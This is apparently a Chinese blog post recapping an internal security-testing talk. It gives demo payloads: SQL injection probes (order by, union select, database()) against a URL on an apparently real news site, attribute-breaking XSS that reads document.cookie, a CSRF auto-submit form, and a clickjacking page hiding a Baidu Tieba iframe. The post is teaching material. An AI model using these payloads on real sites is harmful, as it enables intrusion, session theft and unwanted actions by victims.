zoukankan      html  css  js  c++  java
  • 安全测试分享

    来自公司内部的一次安全测试分享

    但是感觉我讲的时候很多地方没说清楚,没有掌握好节奏,演示案例也有些匆忙

    果然也是需要多练习的事情,任何方面

    SQL注入的案例

    http://xian.gjnews.cn/list.php?page=4&id=524
    http://xian.gjnews.cn/list.php?page=4&id=524 order by 17
    http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
    'hello'
    database()

    XSS的案例

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    
    <input type="text" name="name" value="xxxx" >
    
    <!--  "/><script>alert(document.cookie)</script><!-   
     -->
    <input type="text" name="name" value=""/><script>alert(/xss/)</script><!-">
    
    <!--
    " onclick ="alert(/雅蠛蝶~~/)
    -->
    <input type="text" name="address1" value=""onclick ="alert(/雅蠛蝶~~/)">

    CSRF案例

    <html>
    <form enctype="application/x-www-form-urlencoded" method="POST" action="https://xxxx/add">
    <table><tr><td>item_id</td><td><input type="text" value="40861" name="item_id"></td></tr>
    </table><input type="submit" value="点我"></form>
    </html>

    点击劫持案例

    <!DOCTYPE HTML>
    <html>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <head>
    <title>点击劫持</title>
    <style>
         html,body,iframe{
             display: block;
              height: 100%;
              width: 100%;
              margin: 0;
              padding: 0;
              border:none;
         }
         iframe{
              opacity:0;
              filter:alpha(opacity=0);
              position:absolute;
              z-index:2;
              /*opacity: 0.3;*/
             
         }
         button{
              position:absolute;
              top: 552px;
              left: 500px;
              z-index: 1;
              width: 72px;
              height: 26px;
         }
    </style>
    </head>
         <body>
              那些不能说的秘密
              <button>查看详情</button>
              <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
         </body>
    </html>
  • 相关阅读:
    简单工厂笔记
    P3369 【模板】普通平衡树 Treap树堆学习笔记
    tp5阿里云短信验证码
    centos 安装php
    tp6.0.2开启多应用模式
    linux navicat最新版过期
    git commit之后 取消commit
    服务器重置之后ssh root@报错
    git pull push 每次都需要输入账号和密码
    跨域问题 php
  • 原文地址:https://www.cnblogs.com/ronyjay/p/7776948.html
Copyright © 2011-2022 走看看